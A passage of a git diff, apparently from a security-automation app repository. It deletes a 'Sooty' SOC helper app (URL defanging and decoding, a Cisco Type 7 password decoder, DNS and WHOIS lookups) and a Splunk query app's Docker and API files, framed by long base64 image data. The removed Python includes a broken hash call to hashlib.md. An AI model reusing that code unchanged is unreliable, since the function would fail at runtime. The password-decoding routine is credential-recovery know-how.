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AAAQlXACAAAAAACISjgBAAAAAABEJZwAAAAAAACiEk4AAAAAAABRCScAAAAAAICohBMAAAAAAEBUwgkAAAAAACAq4QQAAAAAABCVcAIAAAAAAIhKOAEAAAAAAEQlnAAAAAAAAKISTgAAAAAAAFEJJwAAAAAAgKiEEwAAAAAAQFTCCQAAAAAAICrhBAAAAAAAEJVwAgAAAAAAiEo4AQAAAAAARCWcAAAAAAAAohJOAAAAAAAAUQknAAAAAACAqIQTAAAAAABAVMIJAAAAAAAgKuEEAAAAAAAQlXACAAAAAACISjgBAAAAAABEJZwAAAAAAACiEk4AAAAAAABRCScAAAAAAICohBMAAAAAAEBUwgkAAAAAACAq4QQAAAAAABCVcAIAAAAAAIhKOAEAAAAAAEQlnAAAAAAAAKISTgAAAAAAAFEJJwAAAAAAgKiEEwAAAAAAQFTCCQAAAAAAICrhBAAAAAAAEJVwAgAAAAAAiEo4AQAAAAAARCWcAAAAAAAAohJOAAAAAAAAUQknAAAAAACAqIQTAAAAAABAVMIJAAAAAAAgKuEEAAAAAAAQlXACAAAAAACISjgBAAAAAABEJZwAAAAAAACiEk4AAAAAAABRCScAAAAAAICohBMAAAAAAEBUwgkAAAAAACAq4QQAAAAAABCVcAIAAAAAAIhKOAEAAAAAAEQlnAAAAAAAAKISTgAAAAAAAFEJJwAAAAAAgKiEEwAAAAAAQFTCCQAAAAAAICrhBAAAAAAAEJVwAgAAAAAAiEo4AQAAAAAARCWcAAAAAAAAohJOAAAAAAAAUQknAAAAAACAqIQTAAAAAABAVMIJAAAAAAAgKuEEAAAAAAAQlXACAAAAAACISjgBAAAAAABEJZwAAAAAAACiEk4AAAAAAABRCScAAAAAAICohBMAAAAAAEBUwgkAAAAAACAq4QQAAAAAABCVcAIAAAAAAIhKOAEAAAAAAEQlnAAAAAAAAKISTgAAAAAAAFEJJwAAAAAAgKiEEwAAAAAAQFTCCQAAAAAAICrhBAAAAAAAEJVwAgAAAAAAiEo4AQAAAAAARCWcAAAAAAAAohJOAAAAAAAAUQknAAAAAACAqIQTAAAAAABAVMIJAAAAAAAgKuEEAAAAAAAQlXACAAAAAACISjgBAAAAAABEJZwAAAAAAACiEk4AAAAAAABRCScAAAAAAICohBMAAAAAAEBUwgkAAAAAACAq4QQAAAAAABCVcAIAAAAAAIhKOAEAAAAAAEQlnAAAAAAAAKISTgAAAAAAAFEJJwAAAAAAgKiEEwAAAAAAQFTCCQAAAAAAICrhBAAAAAAAEJVwAgAAAAAAiEo4AQAAAAAARCWcAAAAAAAAohJOAAAAAAAAUQknAAAAAACAqIQTAAAAAABAVMIJAAAAAAAgKuEEAAAAAAAQlXACAAAAAACISjgBAAAAAABEJZwAAAAAAACiEk4AAAAAAABRCScAAAAAAICohBMAAAAAAEBUwgkAAAAAACAq4QQAAAAAABCVcAIAAAAAAIhKOAEAAAAAAEQlnAAAAAAAAKISTgAAAAAAAFEJJwAAAAAAgKiEEwAAAAAAQFTCCQAAAAAAICrhBAAAAAAAEJVwAgAAAAAAiEo4AQAAAAAARCWcAAAAAAAAohJOAAAAAAAAUQknAAAAAACAqIQTAAAAAABAVMIJAAAAAAAgKuEEAAAAAAAQlXACAAAAAACISjgBAAAAAABEJZwAAAAAAACiEk4AAAAAAABRCScAAAAAAICohBMAAAAAAEBUwgkAAAAAACAq4QQAAAAAABCVcAIAAAAAAIhKOAEAAAAAAEQlnAAAAAAAAKISTgAAAAAAAFEJJwAAAAAAgKiEEwAAAAAAQFTCCQAAAAAAICrhBAAAAAAAEJVwAgAAAAAAiEo4AQAAAAAARCWcAAAAAAAAohJOAAAAAAAAUQknAAAAAACAqIQTAAAAAABAVMIJAAAAAAAgKuEEAAAAAAAQlXACAAAAAACISjgBAAAAAABEJZwAAAAAAACiEk4AAAAAAABRCScAAAAAAICohBMAAAAAAEBUwgkAAAAAACAq4QQAAAAAABCVcAIAAAAAAIhKOAEAAAAAAEQlnAAAAAAAAKISTgAAAAAAAFEJJwAAAAAAgKiEEwAAAAAAQFTCCQAAAAAAICrhBAAAAAAAEJVwAgAAAAAAiEo4AQAAAAAARCWcAAAAAAAAohJOAAAAAAAAUQknAAAAAACAqIQTAAAAAABAVMIJAAAAAAAgKuEEAAAAAAAQlXACAAAAAACISjgBAAAAAABEJZwAAAAAAACiEk4AAAAAAABRCScAAAAAAICohBMAAAAAAEBUwgkAAAAAACAq4QQAAAAAABCVcAIAAAAAAIhKOAEAAAAAAET1/wDI/cbMMKNK0gAAAABJRU5ErkJggg== - diff --git a/sooty/1.0.0/requirements.txt b/sooty/1.0.0/requirements.txt deleted file mode 100644 index 897de537..00000000 --- a/sooty/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests==2.25.1 -ipwhois==1.2.0 \ No newline at end of file diff --git a/sooty/1.0.0/src/app.py b/sooty/1.0.0/src/app.py deleted file mode 100644 index ab611291..00000000 --- a/sooty/1.0.0/src/app.py +++ /dev/null @@ -1,97 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import re -import urllib -import requests -import hashlib -from ipwhois import IPWhois - -from walkoff_app_sdk.app_base import AppBase - -class Sooty(AppBase): - __version__ = "1.0.0" - app_name = "Sooty" # this needs to match "name" in api.yaml - - # Write your data inside this function - def Urlsanitise(self, url): - # It comes in as a string, so needs to be set to JSON - try: - x = re.sub(r"\.", "[.]", url) - x = re.sub("http://", "hxxp://", x) - x = re.sub("https://", "hxxps://", x) - return {"Success":"True",'Result':x} - except Exception as e: - raise Exception(e) - - def UrlDecoder(self, url): - url = url.strip() - decodedUrl = urllib.parse.unquote(url) - return {"Success":"True",'DecodedUrl':decodedUrl} - - - def SafelinksDecoder(self, url): - url = url.strip() - dcUrl = urllib.parse.unquote(url) - dcUrl = dcUrl.replace('https://nam02.safelinks.protection.outlook.com/?url=', '') - return {"Success":"True",'DcUrl':dcUrl} - - def UnshortenUrl(self, url): - link = url.strip() - req = requests.get(str('https://unshorten.me/s/' + link)) - return {"Success":"True",'UnshortenUrl':req.text} - - def Cisco7Decoder(self, password): - pw = password.strip() - - key = [0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, - 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, - 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53, 0x55, 0x42] - - try: - # the first 2 characters of the password are the starting index in the key array - index = int(pw[:2],16) - # the remaining values are the characters in the password, as hex bytes - pw_text = pw[2:] - pw_hex_values = [pw_text[start:start+2] for start in range(0,len(pw_text),2)] - # XOR those values against the key values, starting at the index, and convert to ASCII - pw_chars = [chr(key[index+i] ^ int(pw_hex_values[i],16)) for i in range(0,len(pw_hex_values))] - pw_plaintext = ''.join(pw_chars) - return {"Success":"True",'Result':pw_plaintext} - except Exception as e: - raise Exception(e) - - # def ReverseDnsLookup(self, ip): - # ip=ip.strip() - # try: - # s = socket.gethostbyaddr(ip) - # return str(s) - # except: - # return("Hostname not found") - - def DnsLookup(self, domainname): - d = domainname.strip() - d = re.sub("http://", "", d) - d = re.sub("https://", "", d) - try: - s = socket.gethostbyname(d) - return {"Success":"True",'Ip':s} - except: - return("Website not found") - - def HashText(self, text): - return hashlib.md(text.encode("utf-8")).hexdigest() - - def WhoIs(self, ip): - try: - w = IPWhois(ip) - w = w.lookup_whois() - return w - except Exception as e: - raise Exception(e) - - -if __name__ == "__main__": - Sooty.run() diff --git a/splunk/1.0.0/Dockerfile b/splunk/1.0.0/Dockerfile deleted file mode 100644 index bfa83edc..00000000 --- a/splunk/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/splunk/1.0.0/api.yaml b/splunk/1.0.0/api.yaml deleted file mode 100644 index f63c9dac..00000000 --- a/splunk/1.0.0/api.yaml +++ /dev/null @@ -1,62 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: splunk -description: Splunk integration with WALKOFF -tags: - - SIEM - - search -categories: - - SIEM -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky -authentication: - required: true - parameters: - - name: url - description: The Splunk URL - required: true - example: "http://splunk:8081" - schema: - type: string - - name: username - description: The Splunk username - example: username@splunk.com - required: true - schema: - type: string - - name: password - description: The Splunk password - required: true - example: "******" - schema: - type: string - -actions: - - name: SplunkQuery - description: Returns the amount of search results - parameters: - - name: query - description: The Splunk query to run - required: true - schema: - type: string - - name: result_limit - description: Splunk amount limit - required: false - schema: - type: string - - name: earliest_time - description: The timeframe to use (e.g. -48h) - required: false - schema: - type: string - - name: latest_time - description: The timeframe to use (e.g. -48h) - required: false - schema: - type: string - returns: - schema: - type: string -large_image: data:image/jpg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAcFBgYGBQcGBgYICAcJCxIMCwoKCxcQEQ0SGxccHBoXGhkdISokHR8oIBkaJTIlKCwtLzAvHSM0ODQuNyouLy7/2wBDAQgICAsKCxYMDBYuHhoeLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi7/wAARCABkAGQDAREAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAIEBQYD/8QALRAAAQQCAQMBCAEFAAAAAAAAAAECAwQFERIGITFBExQiMlFhcYGxFRYjQkP/xAAaAQEAAwEBAQAAAAAAAAAAAAAAAQIDBAUG/8QAIxEBAAICAgICAgMAAAAAAAAAAAECAxESIQQxQVETIhQj8P/aAAwDAQACEQMRAD8A0T5l5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABJsb3Nc5rHOa35lRqqifn6E6k0iQAACT45I9c43N2m05NVNoTMTHs0iQAAAAAkxrnvaxqbc5UaifVVJiNzobWUwUeNclebJwuu/ByrpG7tyXXZ3hTfLgjH1Nu/prfFx632tWOl2VL7aNzM1IZpNeyRWOVXb+v0Tfbv5L28Xjbja0bWnDqdTK/i6NjGYjqqnaaiSxwt8L2VOLtKhrjpOPHkrZelZrW8S5/M4eXFy1I5J2SLZjSRqtRU4oq613OXLhnHMRM+2F8c1137aX9o2lyVnHtuQ84IGzK5WqiKiqqa+3jybfw7c5pv1G2n4J5TXarP0+n9JsZGnk61xtdP8zI0VOH4VfJSfH/Sb1tE6VnF+s2id6b3UuNsZS7ha0GkRKSOkkd8sbe21U6PIxTktSI+muSs2msR9OXoY5bdi3UrzVppWJqJXScEkXf8Apvyv2U5KYuVprGtsK03MxClarWKkyw2YXwyp5a9ulM7Vms6tGlZiYnUvEqgAAThbzlYzm2Pk5E5uXSN7+VUmI3JDuLz2yYVrc3YpzZCKZjak0EqPfI3kndden5/k9G87x/2zEzE9Oq3df39/CfVGK996oSdt2rHGxI/bJLKjHRInfel87T6E+Ri5Zt7j42nLTlfe07mYpX4uqHxTxo11dkUPJyIsukd3RF891JvmpeMmp+EzkrbkrZ2GtmIsTkIMjTjghhayb2kunM0qKvw+VX7FM1YyxW0WjUQreIvxmJati9SXPZiRLcHB+NaxrvaJpzvi7J38m1slPyXnfw0m0crd/Dl+nZ4I+muoYpZo2SSQIjGuciK5dL4T1OLBMRhyRtz45iKWdHdy+Pe+lirM8bqVyk2KWSN6bif21tU8J+TrvmpMxjmeph